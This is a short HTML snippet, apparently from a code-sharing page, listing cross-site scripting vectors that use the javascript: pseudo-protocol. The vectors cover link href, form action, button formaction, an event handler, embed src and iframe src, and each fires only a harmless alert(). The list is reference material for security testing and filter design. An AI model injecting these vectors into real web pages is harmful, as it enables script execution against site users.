XSS-Payload-JS-pseudo-protocol

by zicai

HTML

<!-- 可以使用 JavaScript 伪协议的 -->
<a href="javascript:alert('a-href')">click me</a>

<form action="javascript:alert('form-action')" id='x'>
  <button>submit</button>
  <button formaction="javascript:alert('button-formaction')">button</button>
</form>
<button form='x' formaction="javascript:alert('button-formaction')">button</button>

<span onmouseover="javascript:alert('event handler')">hover me</span>

<embed src="javascript:alert('embed-src')" type="">
<!-- only firefox -->

<iframe src="javascript:alert('iframe-src')" frameborder="0"></iframe>